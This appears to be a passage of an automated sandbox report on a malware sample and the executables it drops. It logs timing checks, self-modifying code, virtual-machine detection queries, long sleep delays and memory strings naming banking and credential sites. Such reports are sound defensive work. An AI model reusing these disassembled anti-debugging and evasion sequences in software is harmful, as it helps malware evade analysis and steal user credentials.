Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB07A2 second address: 4BB07C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB07C0 second address: 4BB07C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB07C4 second address: 4BB07CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB07CA second address: 4BB07D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB07D0 second address: 4BB07D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB07D4 second address: 4BB0811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FD4D8B12EBCh 0x00000011 pushfd 0x00000012 jmp 00007FD4D8B12EC2h 0x00000017 add ax, B2F8h 0x0000001c jmp 00007FD4D8B12EBBh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0811 second address: 4BB0817 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0817 second address: 4BB081B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB081B second address: 4BB082D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop edx 0x0000000e movzx ecx, bx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB082D second address: 4BB083E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4D8B12EBDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB083E second address: 4BB08F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushad 0x0000000c movsx ebx, ax 0x0000000f mov ah, 59h 0x00000011 popad 0x00000012 mov dl, B6h 0x00000014 popad 0x00000015 xchg eax, esi 0x00000016 jmp 00007FD4D8F455A6h 0x0000001b push eax 0x0000001c pushad 0x0000001d jmp 00007FD4D8F455A1h 0x00000022 pushfd 0x00000023 jmp 00007FD4D8F455A0h 0x00000028 and eax, 32EA3C78h 0x0000002e jmp 00007FD4D8F4559Bh 0x00000033 popfd 0x00000034 popad 0x00000035 xchg eax, esi 0x00000036 pushad 0x00000037 mov cl, BFh 0x00000039 mov ax, dx 0x0000003c popad 0x0000003d mov esi, dword ptr [ebp+0Ch] 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007FD4D8F455A9h 0x00000047 or esi, 41BC7FC6h 0x0000004d jmp 00007FD4D8F455A1h 0x00000052 popfd 0x00000053 pushad 0x00000054 mov si, 414Dh 0x00000058 popad 0x00000059 popad 0x0000005a test esi, esi 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f mov ah, B9h 0x00000061 mov bx, BC80h 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB08F2 second address: 4BB090B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4D8B12EC5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB090B second address: 4BB0955 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FD549DE303Ah 0x0000000e pushad 0x0000000f mov di, 3C5Eh 0x00000013 mov bl, C0h 0x00000015 popad 0x00000016 cmp dword ptr [75AB459Ch], 05h 0x0000001d jmp 00007FD4D8F4559Eh 0x00000022 je 00007FD549DFB0F7h 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FD4D8F455A7h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0955 second address: 4BB095B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB095B second address: 4BB09A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a push esi 0x0000000b jmp 00007FD4D8F455A9h 0x00000010 pop eax 0x00000011 mov ebx, 37DD0494h 0x00000016 popad 0x00000017 mov dword ptr [esp], esi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD4D8F455A5h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB09A2 second address: 4BB09A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB09A6 second address: 4BB09AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB09AC second address: 4BB09C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4D8B12EC3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB09C3 second address: 4BB09C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: BBE5B2 second address: BBE5BC instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD4D8B12EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: BBE5BC second address: BBE5CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007FD4D8F45596h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D34DBA second address: D34DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FD4D8B12EB6h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D34DC7 second address: D34DDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D34DDE second address: D34DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D340A7 second address: D340BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 jmp 00007FD4D8F455A0h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D340BE second address: D340CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FD4D8B12EB6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D343A1 second address: D343AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FD4D8F45596h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D344F3 second address: D34503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D37494 second address: D3749A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D3749A second address: D3749E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D3752D second address: D37537 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FD4D8F45596h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D37537 second address: D37546 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D37546 second address: D3754A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D3754A second address: D37554 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD4D8B12EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D37554 second address: D3759C instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD4D8F455A5h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edi 0x0000000f jmp 00007FD4D8F455A2h 0x00000014 pop edi 0x00000015 mov eax, dword ptr [eax] 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD4D8F455A2h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D3759C second address: D375A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D376ED second address: D376F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D376F1 second address: D376F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D376F5 second address: D37711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD4D8F455A3h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D37711 second address: D37727 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4D8B12EC2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D37727 second address: D37751 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD4D8F45596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ecx 0x00000011 push esi 0x00000012 jnc 00007FD4D8F45596h 0x00000018 pop esi 0x00000019 pop ecx 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD4D8F4559Ch 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D37751 second address: D377CE instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4D8B12EC9h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jbe 00007FD4D8B12ECFh 0x00000014 pop eax 0x00000015 jmp 00007FD4D8B12EBCh 0x0000001a push 00000003h 0x0000001c jl 00007FD4D8B12EBCh 0x00000022 push 00000000h 0x00000024 add ecx, dword ptr [ebp+122D3BFEh] 0x0000002a mov dword ptr [ebp+122D2DBAh], eax 0x00000030 push 00000003h 0x00000032 jng 00007FD4D8B12EB8h 0x00000038 mov dh, 45h 0x0000003a push 82D9B33Dh 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D377CE second address: D377D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D377D2 second address: D377E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D377E9 second address: D3780E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 3D264CC3h 0x0000000e mov dword ptr [ebp+122D2E0Bh], edx 0x00000014 lea ebx, dword ptr [ebp+1244D3CDh] 0x0000001a sub dword ptr [ebp+122D3A04h], ebx 0x00000020 push eax 0x00000021 push ebx 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D37894 second address: D37914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FD4D8B12EC8h 0x0000000a popad 0x0000000b xor dword ptr [esp], 53DF94C7h 0x00000012 push 00000003h 0x00000014 mov edx, ecx 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+122D2DEBh], eax 0x0000001e push 00000003h 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007FD4D8B12EB8h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 00000019h 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a call 00007FD4D8B12EB9h 0x0000003f jmp 00007FD4D8B12EBFh 0x00000044 push eax 0x00000045 jmp 00007FD4D8B12EBAh 0x0000004a mov eax, dword ptr [esp+04h] 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	RDTSC instruction interceptor: First address: D37914 second address: D37918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 42ED70 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 42ECE1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5CE6B3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5F4A43 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Special instruction interceptor: First address: BBDE3F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Special instruction interceptor: First address: DEFAC2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Special instruction interceptor: First address: CCE5B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Special instruction interceptor: First address: CCE9B6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Special instruction interceptor: First address: B2EA59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Special instruction interceptor: First address: D4FE36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 115E5B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 115E9B6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FBEA59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11DFE36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Special instruction interceptor: First address: 31ED70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Special instruction interceptor: First address: 31ECE1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Special instruction interceptor: First address: 4BE6B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Special instruction interceptor: First address: 4E4A43 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Special instruction interceptor: First address: EC363E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Special instruction interceptor: First address: D1DB12 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Special instruction interceptor: First address: ED44F2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Special instruction interceptor: First address: F549EF instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Memory allocated: 5410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Memory allocated: 5620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Memory allocated: 7620000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe

Code function: 10_2_00D340A0 rdtsc

10_2_00D340A0

Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe

Code function: 10_2_00D4A096 sidt fword ptr [esp-02h]

10_2_00D4A096

Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 7480	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe TID: 7884	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1848	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1748	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3256	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1568	Thread sleep count: 202 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1568	Thread sleep time: -6060000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2040	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1860	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3268	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2060	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1568	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe TID: 5572	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe TID: 7180	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWm
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
